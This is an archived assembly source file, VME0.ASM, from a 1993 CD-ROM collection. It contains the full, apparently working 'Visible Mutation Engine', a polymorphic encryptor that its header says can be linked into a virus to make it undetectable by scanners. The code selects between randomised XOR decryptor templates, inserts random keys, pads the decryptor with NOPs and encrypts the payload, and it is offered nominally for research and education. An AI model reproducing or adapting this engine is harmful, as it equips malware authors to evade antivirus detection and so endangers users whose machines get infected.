home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / VME.ZIP / VME0.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-04-28  |  14.6 KB  |  323 lines

  1. ;The Visible Mutation Engine
  2. ;(C) 1993 American Eagle Publications, Inc. ALL RIGHTS RESERVED.
  3.  
  4. ;WARNING: This is an actual, functional mutation engine. It can be attached to
  5. ;a virus and make it totally undetectable by scanners using current technology
  6. ;(March, 1993). It is intended for research and educational purposes only!
  7.  
  8. ;The engine is an object module which can be linked into a virus, or any other
  9. ;software that needs to be self-encrypting.
  10. ;
  11. ;On calling the ENCRYPT routine,
  12. ;DS:SI points to where the code to encrypt is
  13. ;ES:DI points to where the decryption routine + encrypted code should be placed
  14. ;DX<>0 is the fixed size of the decryption routine.
  15. ;CX is the size of the unencrypted code
  16. ;BX is the starting offset of the decryption routine
  17. ;
  18. ;On return, carry will be set if there was an error which prevented the engine
  19. ;from generating the code. If successful, carry will be cleared.
  20. ;CX will be returned with the decryption routine + code size
  21.  
  22.                 .model  tiny
  23.  
  24.                 .code
  25.  
  26.                 public  ENCRYPT
  27.  
  28.                 extrn   RANDOM_SEED:near
  29.                 extrn   GET_RANDOM:near
  30.  
  31. CODE_LOC        DD      0                       ;area to save all passed parameters
  32. ENCR_LOC        DD      0
  33. DECR_SIZE       DW      0
  34. DECR_OFFS       DW      0
  35. CODE_SIZE       DW      0
  36.  
  37. ENCRYPT:
  38.                 cld
  39.                 push    bp                              ;preserve bp
  40.                 call    GET_LOC                         ;first figure out where we are
  41. GET_LOC:        pop     bp
  42.                 sub     bp,OFFSET GET_LOC               ;offset stored in bp always
  43.                 push    ds
  44.                 mov     cs:[bp][DECR_OFFS],bx           ;save all calling parameters
  45.                 mov     bx,bp                           ;put base in bx
  46.                 mov     WORD PTR CS:[bx][CODE_LOC],si
  47.                 mov     WORD PTR CS:[bx][CODE_LOC+2],ds
  48.                 push    cs
  49.                 pop     ds
  50.                 mov     WORD PTR [bx][ENCR_LOC],di
  51.                 mov     WORD PTR [bx][ENCR_LOC+2],es
  52.                 mov     [bx][CODE_SIZE],cx
  53.                 mov     [bx][DECR_SIZE],dx
  54.                 call    RANDOM_SEED             ;seed random number generator
  55.                 call    SELECT_BASE             ;select decryptor base to use
  56.                 jc      ERR_EXIT                ;exit if error
  57.                 call    INIT_BASE               ;initialize decryptor
  58.                 jc      ERR_EXIT
  59.                 call    GENERATE_DECRYPT        ;create a decrypt routine in wkspace
  60.                 jc      ERR_EXIT
  61.                 call    ENCRYPT_CODE            ;encrypt the code as desired
  62.                 jc      ERR_EXIT                ;exit on error
  63.                 les     di,[bx][ENCR_LOC]       ;else set exit parameters
  64.                 mov     cx,[bx][CODE_SIZE]
  65.                 add     cx,[bx][DECR_SIZE]      ;cx=code+decr rtn size
  66. ERR_EXIT:       pop     ds
  67.                 pop     bp
  68.                 ret
  69.  
  70. ;******************************************************************************
  71. ;This routine selects which decryptor base to use. It simply gives each
  72. ;decryptor an even chance of being used. BASE_COUNT holds the total number
  73. ;of decryptor bases available to use, and BASE_NO is set by this function
  74. ;to the one that will be used from here on out. This routine also sets the
  75. ;size of the decryptor, if a fixed size is not specified. If a fixed size
  76. ;is specified, it checks to make sure enough room has been alotted. If not,
  77. ;it returns with carry set to indicate an error.
  78. SELECT_BASE:
  79.                 call    GET_RANDOM              ;get a random number
  80.                 xor     dx,dx                   ;make it a dword
  81.                 mov     cx,[bx][BASE_COUNT]     ;get total number of base routines
  82.                 div     cx
  83.                 mov     [bx][BASE_NO],dx        ;save choice in BASE_NO
  84.                 mov     ax,[bx][DECR_SIZE]      ;ok, get requested size
  85.                 mov     si,dx                   ;get base number
  86.                 shl     si,1                    ;make an address out of it
  87.                 add     si,OFFSET BASE_SIZE_TBL
  88.                 mov     cx,[bx][si]             ;get selected base size
  89.                 or      ax,ax                   ;is base size 0?
  90.                 jz      SEL_SIZE1               ;yes, select a random size
  91.                 cmp     ax,cx                   ;is ax>=cx?
  92.                 retn                            ;return with carry set right
  93.  
  94. ;If no base size selected, pick a random size between the minimum required
  95. ;size and the minimum + 127.
  96. SEL_SIZE1:      call    GET_RANDOM
  97.                 and     ax,007FH
  98.                 add     ax,cx
  99.                 mov     [bx][DECR_SIZE],ax
  100.                 clc
  101.                 retn
  102.  
  103. ;******************************************************************************
  104. ;This routine initializes the base routines for this round of encryption. It
  105. ;is responsible for inserting any starting/ending addresses into the base,
  106. ;and any random numbers that the base uses for encryption and decryption.
  107. ;It must insure that the encryptor and decryptor are set up the same way,
  108. ;so that they will work properly together. INIT_BASE itself is just a lookup
  109. ;function that jumps to the proper routine to work with the current base,
  110. ;as selected by SELECT_BASE. The functions in the lookup table perform all of
  111. ;the routine-specific chores.
  112. INIT_BASE:
  113.                 mov     si,[bx][BASE_NO]
  114.                 shl     si,1                    ;determine encryptor to use
  115.                 add     si,OFFSET INIT_TABLE
  116.                 add     [bx][si],bx
  117.                 jmp     [bx][si]
  118.  
  119. INIT_TABLE      DW      OFFSET INIT_BASE0
  120.                 DW      OFFSET INIT_BASE1
  121.  
  122. ;Initialize decryptor base number 0. This only has to set up the decryptor
  123. ;because the encryptor calls the decryptor.
  124. INIT_BASE0:
  125.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  126.                 mov     si,D0START              ;set start address
  127.                 mov     ax,[bx][DECR_OFFS]
  128.                 add     ax,[bx][DECR_SIZE]
  129.                 mov     [bx][si],ax
  130.                 mov     si,D0SIZE               ;set size to decrypt
  131.                 mov     ax,[bx][CODE_SIZE]
  132.                 mov     [bx][si],ax
  133. IB0TRYA:        call    GET_RANDOM
  134.                 or      ah,ah                   ;avoid triviality!!
  135.                 jz      IB0TRYA
  136.                 mov     si,D0RAND1              ;set up first random byte
  137.                 mov     [bx][si],al
  138.                 mov     si,D0RAND2              ;set up second random byte
  139.                 mov     [bx][si],ah
  140.                 clc
  141.                 retn                            ;that's it folks!
  142.  
  143. ;Initialize decryptor base number 1. This only has to set up the decryptor
  144. ;because the encryptor calls the decryptor.
  145. INIT_BASE1:
  146.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  147.                 mov     ax,[bx][DECR_OFFS]
  148.                 add     ax,[bx][DECR_SIZE]
  149.                 mov     si,D1START1             ;set start address 1
  150.                 mov     [bx][si],ax
  151.                 mov     si,D1START2             ;set start address 2
  152.                 mov     [bx][si],ax
  153.                 mov     si,D1SIZE               ;set size to decrypt
  154.                 mov     ax,[bx][CODE_SIZE]
  155.                 shr     ax,1                    ;use size / 2
  156.                 mov     [bx][si],ax
  157. IB1TRYA:        call    GET_RANDOM
  158.                 or      ah,ah                   ;avoid triviality!!
  159.                 jz      IB1TRYA                 ;both bytes must be non-zero
  160.                 or      al,al
  161.                 jz      IB1TRYA
  162.                 mov     si,D1RAND               ;set up random word
  163.                 mov     [bx][si],ax
  164.                 clc
  165.                 retn                            ;that's it folks!
  166.  
  167.  
  168. ;******************************************************************************
  169. ;This routine encrypts the code using the desired encryption routine.
  170. ;On entry, es:di must point to where the encrypted code will go.
  171. ENCRYPT_CODE:
  172.                 mov     si,[bx][BASE_NO]
  173.                 shl     si,1                    ;determine encryptor to use
  174.                 add     si,OFFSET ENCR_TABLE
  175.                 add     [bx][si],bx
  176.                 jmp     [bx][si]
  177.  
  178. ENCR_TABLE      DW      OFFSET ENCRYPT_CODE0
  179.                 DW      OFFSET ENCRYPT_CODE1
  180.  
  181. ;Encryptor to go with decryptor base 0
  182. ENCRYPT_CODE0:
  183.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  184.                 push    ds                      ;may use a different ds below
  185.                 mov     cx,[bx][CODE_SIZE]
  186.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  187.                 push    cx
  188.                 push    di
  189.                 rep     movsb                   ;move the code to work segment
  190.                 pop     si
  191.                 pop     cx
  192.                 push    es
  193.                 pop     ds
  194.                 call    ENCRYPT0                ;call encryptor
  195.                 pop     ds
  196.                 mov     bx,bp                   ;restore bx to code base
  197.                 clc                             ;return c reset for success
  198.                 retn
  199.  
  200. ;Encryptor to go with decryptor base 1
  201. ENCRYPT_CODE1:
  202.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  203.                 push    ds                      ;may use a different ds below
  204.                 mov     cx,[bx][CODE_SIZE]
  205.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  206.                 push    cx
  207.                 push    di
  208.                 rep     movsb                   ;move the code to work segment
  209.                 pop     di
  210.                 mov     si,di
  211.                 pop     dx
  212.                 push    es
  213.                 pop     ds
  214.                 call    ENCRYPT1                ;call encryptor
  215.                 pop     ds
  216.                 clc                             ;return c reset for success
  217.                 retn
  218.  
  219.  
  220. ;******************************************************************************
  221. ;The following routine generates a decrypt routine, and places it in memory
  222. ;at [ENCR_LOC]. This returns with es:di pointing to where encrypted code
  223. ;should go. It is assumed to have been setup properly by INIT_BASE. As with
  224. ;INIT_BASE, this routine performs a jump to the proper routine selected by
  225. ;BASE_NO, which then does all of the detailed work.
  226. GENERATE_DECRYPT:
  227.                 mov     si,[bx][BASE_NO]
  228.                 shl     si,1                    ;determine encryptor to use
  229.                 add     si,OFFSET DECR_TABLE
  230.                 add     [bx][si],bx
  231.                 jmp     [bx][si]
  232.  
  233. DECR_TABLE      DW      OFFSET GEN_DECRYPT0
  234.                 DW      OFFSET GEN_DECRYPT1
  235.  
  236. ;Generate the base routine 0.
  237. GEN_DECRYPT0:
  238.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  239.                 mov     cx,OFFSET D0RET
  240.                 sub     cx,OFFSET DECRYPT0      ;cx=# of bytes in decryptor
  241.                 push    cx
  242.                 mov     si,OFFSET DECRYPT0      ;[bx][si] points to DECRYPT0
  243.                 add     si,bx                   ;si points to DECRYPT0
  244.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  245.                 rep     movsb                   ;simply move it for now
  246.                 pop     ax
  247.                 mov     cx,[bx][DECR_SIZE]      ;get decryptor size
  248.                 sub     cx,ax                   ;need this many more bytes
  249.                 mov     al,90H                  ;NOP code in al
  250.                 rep     stosb                   ;put NOP's in
  251.                 clc                             ;return with c reset
  252.                 retn
  253.  
  254. ;Generate the base routine 1.
  255. GEN_DECRYPT1:
  256.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  257.                 mov     cx,OFFSET D1RET
  258.                 sub     cx,OFFSET DECRYPT1      ;cx=# of bytes in decryptor
  259.                 push    cx
  260.                 mov     si,OFFSET DECRYPT1      ;[bx][si] points to DECRYPT1
  261.                 add     si,bx                   ;si points to DECRYPT1
  262.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  263.                 rep     movsb                   ;simply move it for now
  264.                 pop     ax
  265.                 mov     cx,[bx][DECR_SIZE]      ;get decryptor size
  266.                 sub     cx,ax                   ;need this many more bytes
  267.                 mov     al,90H                  ;NOP code in al
  268.                 rep     stosb                   ;put NOP's in
  269.                 clc                             ;return with c reset
  270.                 retn
  271.  
  272.  
  273. ;******************************************************************************
  274. ;Bases for Decrypt/Encrypt routines.
  275.  
  276. BASE_COUNT      DW      2               ;number of base routines available
  277. BASE_NO         DW      0               ;base number in use
  278. BASE_SIZE_TBL   DW      OFFSET D0RET - OFFSET DECRYPT0
  279.                 DW      OFFSET D1RET - OFFSET DECRYPT1
  280.  
  281. ;This is the actual base routine 0. This is just a single-reference, varying
  282. ;byte-wise XOR routine.
  283. DECRYPT0:
  284.                 mov     si,0                    ;mov si,OFFSET ENCRYPTED
  285.                 mov     cx,0                    ;mov cx,ENCRYPTED SIZE
  286. ENCRYPT0:       mov     bl,0                    ;mov bl,RANDOM BYTE 1
  287. D0LP:           xor     [si],bl
  288.                 inc     si
  289.                 add     bl,0                    ;add bl,RANDOM BYTE 2
  290.                 loop    D0LP
  291. D0RET:          retn                            ;not used by decryptor!
  292.  
  293. ;Defines to go with base routine 0
  294. D0START         EQU     OFFSET DECRYPT0 + 1
  295. D0SIZE          EQU     OFFSET DECRYPT0 + 4
  296. D0RAND1         EQU     OFFSET DECRYPT0 + 7
  297. D0RAND2         EQU     OFFSET DECRYPT0 + 13
  298.  
  299. ;Here is the base routine 1. This is a double-reference, word-wise, fixed XOR
  300. ;encryptor.
  301. DECRYPT1:
  302.                 mov     si,0
  303.                 mov     di,0
  304.                 mov     dx,0
  305. ENCRYPT1:
  306. D1LP:           mov     ax,[si]
  307.                 add     si,2
  308.                 xor     ax,0
  309.                 mov     ds:[di],ax
  310.                 add     di,2
  311.                 dec     dx
  312.                 jnz     D1LP
  313. D1RET:          ret
  314.  
  315. ;Defines to go with base routine 1
  316. D1START1        EQU     OFFSET DECRYPT1 + 1
  317. D1START2        EQU     OFFSET DECRYPT1 + 4
  318. D1SIZE          EQU     OFFSET DECRYPT1 + 7
  319. D1RAND          EQU     OFFSET DECRYPT1 + 15
  320.  
  321.                 END
  322. 
  323.